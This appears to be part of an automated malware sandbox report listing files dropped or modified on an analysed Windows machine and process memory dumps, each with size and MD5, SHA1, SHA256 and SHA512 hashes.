8b0aae9e8a109401031dc767edfbb97e6a24087f600b2d25c9de5bae8064fec053222417eba32db774b446345e905626bbbb0d7562ff93ffeca432a035e0b5c4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
016db1083eaf0b93b1bc7588d3bfaa06

SHA1
c7a4e5b28d8afd97354216b1b7e388248417f144

SHA256
89974e02a5cc9f91e28bc69a8be951355d15cd140529b21af30b0e55d22c5387

SHA512
fdf5d15ee2f27ef33329ccff343e3aa300827d9b7846e2dadbf5708f9a2f63f4b70d5c15a101f655d26d3bfc4843f5d5bc167ffffe25085fd24e1298dc01f8a0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
c7f0de04dac988d71c0f1fcbe903943b

SHA1
850b6ea20608ca9c09f1077d43b7547d1c50c12e

SHA256
52ced3071d13b7f19423dbfdbc5a52ff9e34beaf4d833f05bb627b6140da36b6

SHA512
8e9e069549e2bb4a556b2cd19cd9fa537f2f815bfc13d5ab14d186394e7f044f25b69758a68f7fb9e2bac8fb7ccacc5b4da46c3878547a5a94ec782b8c2fa150

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
f6fc0fbfb2a2a9ff8fbec7e34421292b

SHA1
4ffbecc2571accc493e1333bd72840c7b07ea1f0

SHA256
8702fcfd7b770298154fbb709a2f9c0e92e03165ad265a86f1895e945d85860e

SHA512
88e530ac2d75d8db439d2027f315343627b5b3dd58335fc47385c4546fb773e8ce52e669b61aa2ef12f3cb867aea7c651aa4e9e7ef1ea06708d6bf2428d95cae

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
2eb83349ec1cbf40e27d2cb50f3fb746

SHA1
be01d8a7b9bb3949e72f046a3e5d966270c5d1b7

SHA256
585d1bad97bcc90f69213e6c8c4836d6003c4984640352010eef06f043778d37

SHA512
3aeeaba5d9dcd7e9ad9e2c348eb0cc85d0940dace4a6958144963924312e48cb252b51931a2e0f427964762e09730d2d4d4cc8c9ecacad25a1f0aae7ef6e8b3a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
07488650802de9004044f0776c5fa341

SHA1
418f6a86bef35c887e579586acce1043806a54d5

SHA256
02caaa698be69ec332fb886b33cb30f6c804f463290cf4e32091de8d687422e5

SHA512
137e30ffcbce8613d74eb20e64acb5abad946a50717a36429b0ef10f6936f4ea773ac6b9d0d617826baec3d61c2b424b6d4071f2d752e830aff13fade560ef9a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db

Filesize
14KB

MD5
280621b99397d399f502de3806d5fd65

SHA1
a88c1912b23984f84f51c475674537b3aa679b9a

SHA256
3ff6585293edbdf0dd60bdd29a6ab3bf3c4800003e67b29cbef9d9f1197a3ced

SHA512
a72e77135769695201b9bd95e7d67ba1aa3e712b116f09c3c9bf67cc2f158c15e1db479afffff3b8042f728e0d77875870d27c7c2fc0ed424107b93c2c205363

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\22694\D

Filesize
651KB

MD5
01c4198e3b3df6756c98cc977dcc3d71

SHA1
f090ff343c5937b44426255df82e0f04896086ec

SHA256
d59ae9cf0db084d898e582db285ec5c9bb6f1072148ec32eef1d82be823e208b

SHA512
50972aae70313bcdb9fab90aad04571d3db6cb025b44bccb6b9f5b84498e327dbced072b7f62ce67e851b40dc07d95123f3621d44b99745d57ac0471a5a75dde

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\22694\Hunt.com

Filesize
56KB

MD5
215459f4ec4b03cfc2f35a257cc121ec

SHA1
ba568c52de1eeed69c0c064cd671512358f80018

SHA256
2dafb99782a6c523d9649513f4645f8d4e5b53d1a546b46d3b5fec52e3e4a6a0

SHA512
d00a339e1a8f246d604d32202ca8891a195aaea430c4d3972830e48f49c2139844854a4493f5e450ec0673458556983c4c67c41fe358deff5ab827e50f20e097

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\22694\Hunt.com

Filesize
925KB

MD5
62d09f076e6e0240548c2f837536a46a

SHA1
26bdbc63af8abae9a8fb6ec0913a307ef6614cf2

SHA256
1300262a9d6bb6fcbefc0d299cce194435790e70b9c7b4a651e202e90a32fd49

SHA512
32de0d8bb57f3d3eb01d16950b07176866c7fb2e737d9811f61f7be6606a6a38a5fc5d4d2ae54a190636409b2a7943abca292d6cefaa89df1fc474a1312c695f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Actors

Filesize
55KB

MD5
64fafca0409fa17ceab3669e1123e322

SHA1
186b9f7570dc11fbef5b19f8a2ece52fed817409

SHA256
b08c9242c8b6b6054076455f7f0b622d0cf770c089130f37338ff44facdfd9e3

SHA512
feed640c62f77b885817b1a41432a076f4025a117592c93690235cc01125c93ccccf14a71f9376bba658d7eeab427f9288c0e2ab0930e1d702b039999b2b0c64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Addressing

Filesize
80KB

MD5
2f188f9f684b4989ae68ce44015fe5ad

SHA1
f8e95ec225affb6f97b8a44f0f9ed8015f907054

SHA256
c6244c936b05680601774a2aec6cf070f76d12a64d9f2411ebf581df3a16d0e9

SHA512
441c1dd6da5c821e6abdc180c730bca6453914526a7e580e958e56faa2d2dfce6f7d03eece224e7a9fef987ba74bf59e302cb49b2cc8c01f527a2775c7a30cbd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Calendar

Filesize
52KB

MD5
0f0406ceab8c42cf7e94b9ecfd3d6f44

SHA1
4bfdcdd9fdf97d1cbd2b55b6972540a7a3b46e58

SHA256
267bee3ef026320dbb6a90be859edf10f105a32f3a63dca444c1ff5e2fbc9081

SHA512
3329a4f6330608ce499e77387248fa1e62be774098c14b2c7e2f807c39346642b7fa612db2492a37a69cacdaa976a72c1d305b4b5063cae2ba17e89ca8e81d00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Competition

Filesize
149KB

MD5
1daa2d2e310e88b0f06d31df599fda6a

SHA1
e79669c1a72db74868994057a6b7973aec82270e

SHA256
4830bbaf97dbca4d34b8716ef1a15ed75f51a6f7f5544360e2a22ec07cec5112

SHA512
341d5bb36fac0af439004af933c09e6e601acb14723588638636d11b4c93c41688bd4a9f6195e111b89cc7c3385d3a413f2ea863a61ebb0a3d78a87f82b10e12

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Driven

Filesize
78KB

MD5
568d0f687a2930e6f0283de74e44c885

SHA1
8cbc82de8ac2d3173ffa8e00d03148d269a7f4cf

SHA256
b14edb075658406da0bc622a71061e0b08f6a31bfd2221938077c899ba2fc939

SHA512
fde09b140bd11437c82ad1fab30953e96e1892aad4b21553826046bea53a9660de97eaef7ad7f1d4999ef6de01aa571ed5347145370dc2700b460b7e75c5e9e3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Facial

Filesize
74KB

MD5
8edc12abaf6981c9b90b0768fd215ec0

SHA1
a030526c21393121f1e895397a516f696ded3ef3

SHA256
73b47d3830ea95f981c39345feac29ed1c4dfcbb6c4b947e0441fb713cc8f691

SHA512
1ae4c2218fb5beb3e37dcd383cdd5a238c6f768ca6fbafa8e68cc0b38c4900f3d0b4544b5cf26ebbb4ad71a1f6abe0477e4908319b90cd9602708b8e5cd64f3f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Groups

Filesize
116KB

MD5
41c3b3ae23157f5e151844bec1bb8518

SHA1
fb417f1fd69cf548b916af7876f138af267ce5aa

SHA256
215a597973f81e9e142e43b74382d53b6c0d5b42eeb4d360a812ae378ae1f20c

SHA512
397d62602a3dd8bf1f8df073357a4e1be6ddf5d14f60f7349c2ce80c32d19a2d784752f32e691b6c6f0efd8c7791f3bb8c45602e32e56405de7fa8564a4b8e9d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Heroes

Filesize
477KB

MD5
198d31f6061c83309661e8a1d0c0770a

SHA1
10b6c9b5451bf9739dcceb1441623fdf3784e85d

SHA256
a3d1bfb1c08a9c83b5f3f3780d3de36c45f2064e47974c0f299ec9ef6252b8a2

SHA512
5dd3715e60a8f6a3dec74ca2adf3e26f6e763f5efa69d78c1ff027a8be5824840600531005327267bba9276e818cbe5b0263156db08c72b52bc5aedd94151960

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Levels

Filesize
9KB

MD5
05681f7f30817bae2aff281905b5ca06

SHA1
fd43bfc0e65d15fc6c773bd64fe1da7b8db320f5

SHA256
1f0b347663d81d34c9d17e28501e09a7b875fae778ed9e35fe3098c0f9257162

SHA512
84b611548edafef7a6cd1802b4ac126a7c086956ee45be7d992f7466417f9c9f6199b8890de3b8888bc47cdea865ce17cb68d8738b418eee81d0b746bfaa75d7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Lie

Filesize
84KB

MD5
0b46bcc9b4eb799ff60c4f4a4f0b71bd

SHA1
303af0d00ecbc0365dae8f32beb5d0d6c4028e6e

SHA256
3e50cbcc56d094bdead8208c50461178dfeda0e7812100da5a5619bc88d6b4f9

SHA512
6ffea1b962418f080384210db48891645fad4e4240da9fed004cd01d75bbf1d5caf1cbe1b061ee1d770856eb73fb12658f0bba8076ecc3069112079621925ba7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Litigation

Filesize
50KB

MD5
7be2e4b20c89bd8e82048f9b46c57874

SHA1
26ff489e1265091bffdf8ac5499fe3d9a265df42

SHA256
20cbefdd1a270f943aa1f4d8980fdfb6fa972c94b51f3f4cfd22b78b459db808

SHA512
110a3c93db08baa3cc60a56a05c93d858a883649beadad120eb84af613693173f3eb3f56876ab2b6f34914c30df8cf89dd7d7137e90215df4c2f47734c81002f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Millions

Filesize
87KB

MD5
ac8c97e24771bfff3fe724cc865c1d56

SHA1
a42564b87eed2904f8e792fb9f259b44aab90b2a

SHA256
1bdd7ffb1c3f69e219655643e8f6432546c27a4a5c8a6cbefb4b7a5b4843044e

SHA512
84e0dd9dabd053eb23f1ee5adbb694cc6bf8d2b206ff4cd3b99b98fe20b5aa3c2d7467013a7d9d8615bf7bf32ec689b9936eba3b8639157dc9985fcaeea48b79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Omega

Filesize
86KB

MD5
8afd4470d1f05414af3792a07075ce18

SHA1
a0becc184f4e56387cb39ca91a8e72e2388d84a8

SHA256
41670ceacd21352b90b0e032c22678fcb380a1a39f5ec0a72fffaadfac08d0bf

SHA512
b971c65e92b6576224732c8039d4844ec560844f312a059580c1744a36c0f7420553a1863cfb08eb69539f35a820585e52f7bcbccc61131d267463fa004cee54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Operates

Filesize
65KB

MD5
23cb2807802fad66beaeeb19dc118b62

SHA1
615d6ecaca4130c7f728acf47b41a3b3244ed784

SHA256
b4cfc67615318573417fb7e767145f608eed333aa2eff98c107486afa06b903a

SHA512
271102d60abb7faa79763a54d2a74ce55652fe193f1342b7497d12682e8eb0c619349ba54aabe96aabf0bf04174bc597aceed3f5af3deef707506ca4786c9cf1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Performing

Filesize
59KB

MD5
b06e8afe3ee23ffb7e6d8a7f2c89f2e7

SHA1
094580265a4c0f382550655fed9f937c9a4df3cf

SHA256
ed98eb207a8322327adc579125b126f9916946a45468c01d9791188c0703a0b9

SHA512
6e18dce6e1e1008624f9fb7912e79548269abca5d19768521107fd834e9d9809719b516f119d54dc2f0469a8f923dcb9519ed214c7c0fc6255ed33ab55d48dcd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Ram

Filesize
92KB

MD5
c9e0b5e34aa6ae21ceec9b1f93dad77d

SHA1
919bda56815ec58ca93b5c38f0a9471656b8c034

SHA256
032c330dcbbc1d90293f409195091caff308d6600f3898029f540df23536e3b4

SHA512
462bd851f6dbe9c64bae2766ecf22b80867140aeb4bed9bb1ffdcfeebff1a1e69365240dfaa4e2a1ab16a4bd6930634f722c9eec8af4505297deab2840c37cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Scary

Filesize
88KB

MD5
213ed632d8df64cc63210406d2711792

SHA1
9c2d9e16459da04028804b90d97ec9f01b1c2ccc

SHA256
9b823b74ea17c571fafddfb6fbe5b3dcee45c4e6574252a1b2b1607f2ffeb19b

SHA512
7651a3cfe2ef007c8089917f90d4c261d25ddb5d9b18dfb21b61ffd3b6803a5a24a40d86143efad987031a1192ee59ba8f280d96dd5a68ac0ec00addf579c7d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Sewing

Filesize
148KB

MD5
838cc8f89be8fdb82fc5a1d609454a2a

SHA1
cb2bd7f8756202f20b05a22f06f48a775cee22e6

SHA256
38c8fc46c160c9b8203d4913dd8c8a8b5108999c6d74000ed0c726f1b34077ab

SHA512
0737f96ddfd4745cbca7382630fadb2c3fd04cea5b622ff96445d256c572b2d13f8a78c3b555e1dbc4b3e1c066b1e5805ae75680100ef50275a38a2c923e21a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Ships

Filesize
57KB

MD5
c5249107e655e76ff241ea2a0459b7de

SHA1
71b934a7dfbd7fcf6af687bfc576ead2ed92a0c3

SHA256
589571779f97ef9ac45140c09cfb75fadf056546224124eb9db4ca0389386949

SHA512
aa60827eca0b789064e89e62538d8707b8b2f28e00b50ed74f531dff4466deb7b85a4611f335e90d0f7045cd8d0320ae9d05df9198ffe13e645a90089f7d1205

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Speaks

Filesize
1KB

MD5
5020d4649309793fc8849c86040fa5b7

SHA1
1604dd05e6aa4a16937c4dd7293ce3bd2eb08a98

SHA256
820e16e555bc21b69cf82a09f718c2688a339eeff03a5ef909e991b50d6b91d2

SHA512
9fc228b207e9b04e408653931d301e61e7af2e9612e9d073aa232a7f75d7b5f618fd8ddcbc831364e5e96bdf57e73acc495d09cc09eebf6145b34a85d5b0e087

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Wendy

Filesize
109KB

MD5
163e1fbece6ac75fe733ee9a5753ff42

SHA1
4fa8f27a3580d0d970b82f69a0a515f3b4b8705c

SHA256
910bfaadba57fe10acab319cf50276b65193a39a0a519a661aa63fef1a98558b

SHA512
400f495d8bbb64175e91e47e3d768270d40ee75dd0e88c3e2f1d29e48e327fc8b03139e2494348a8f212f28367578638c7417b4cf3efd021838a64bb3ba76b2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Xnxx

Filesize
45KB

MD5
7b68c0772fed701a75adc074f6200276

SHA1
44fa9249c8e6c8023bba3555beb2b59c8c0c9ea7

SHA256
a8715dd0d88740d1f84d681eb4142f1c96bed2c6c3092ac25ea55be386aae52f

SHA512
3b5a7292c5e65313650ce76660f69684a860b0dfc920c1f8d3b026ab147532f6a38f55d6a89cbc8047355a29deac5cdf11bb1f3bde653e308625827d4850ff78

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\c8f51673-4981-4b1a-a293-783061ba1632.down_data

Filesize
555KB

MD5
5683c0028832cae4ef93ca39c8ac5029

SHA1
248755e4e1db552e0b6f8651b04ca6d1b31a86fb

SHA256
855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

SHA512
aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1tewisfx.45z.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1460-312-0x0000000074EC0000-0x0000000075112000-memory.dmp

Filesize
2.3MB

Download
memory/1460-310-0x00007FF85FE80000-0x00007FF860089000-memory.dmp

Filesize
2.0MB

Download
memory/1460-307-0x00000000009B0000-0x00000000009BA000-memory.dmp

Filesize
40KB

Download
memory/1460-309-0x0000000001240000-0x0000000001640000-memory.dmp

Filesize
4.0MB

Download
memory/4316-295-0x0000000004370000-0x00000000043F1000-memory.dmp

Filesize
516KB

Download
memory/4316-304-0x00007FF85FE80000-0x00007FF860089000-memory.dmp

Filesize
2.0MB

Download
memory/4316-303-0x0000000004400000-0x0000000004800000-memory.dmp

Filesize
4.0MB

Download
memory/4316-306-0x0000000074EC0000-0x0000000075112000-memory.dmp

Filesize
2.3MB

Download
memory/4316-297-0x0000000004370000-0x00000000043F1000-memory.dmp

Filesize
516KB

Download
memory/4316-296-0x0000000004370000-0x00000000043F1000-memory.dmp

Filesize
516KB

Download
memory/4316-301-0x0000000004370000-0x00000000043F1000-memory.dmp

Filesize
516KB

Download
memory/4316-300-0x0000000004370000-0x00000000043F1000-memory.dmp

Filesize
516KB

Download
memory/4316-299-0x0000000004370000-0x00000000043F1000-memory.dmp

Filesize
516KB

Download
memory/4316-302-0x0000000004400000-0x0000000004800000-memory.dmp

Filesize
4.0MB

Download
memory/4620-159-0x00000136DB6A0000-0x00000136DB6B2000-memory.dmp

Filesize
72KB

Download
memory/4620-160-0x00000136DB680000-0x00000136DB68A000-memory.dmp

Filesize
40KB

Download
memory/4620-157-0x00000136DBB60000-0x00000136DC306000-memory.dmp

Filesize
7.6MB

Download
memory/4620-147-0x00000136DAED0000-0x00000136DAEF2000-memory.dmp

Filesize
136KB

Download
memory/5428-271-0x0000000074AA0000-0x0000000074B4F000-memory.dmp

Filesize
700KB

Download
memory/5428-270-0x0000000000C70000-0x0000000000C7C000-memory.dmp

Filesize
48KB

Download
memory/5428-187-0x0000000001510000-0x0000000001569000-memory.dmp

Filesize
356KB

Download
memory/5428-188-0x0000000001510000-0x0000000001569000-memory.dmp

Filesize
356KB

Download